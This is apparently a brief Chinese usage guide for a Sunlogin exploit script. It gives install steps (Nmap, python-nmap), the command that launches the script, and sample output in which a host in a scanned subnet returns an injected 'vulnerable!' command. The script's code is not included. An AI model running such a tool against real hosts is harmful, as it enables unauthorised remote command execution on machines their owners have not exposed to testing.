1. 需要您安装NMAP,https://nmap.org/download。
pip install requests
pip install python-nmap
执行情况(IP个数越多执行越慢,需要耐心等待哦):
(管理员权限启动CMD.exe)
PS D:\> python .\sunlogin_exp_for_tututu.py
2022-07-10 10:52:21-172.17.8.0/23
[+]host:http://172.17.8.99:61127 cid:hHdXNeZi8NrH5cOND9JVsawf5lysf97y cmd:"vulnerable!" response:vulnerable!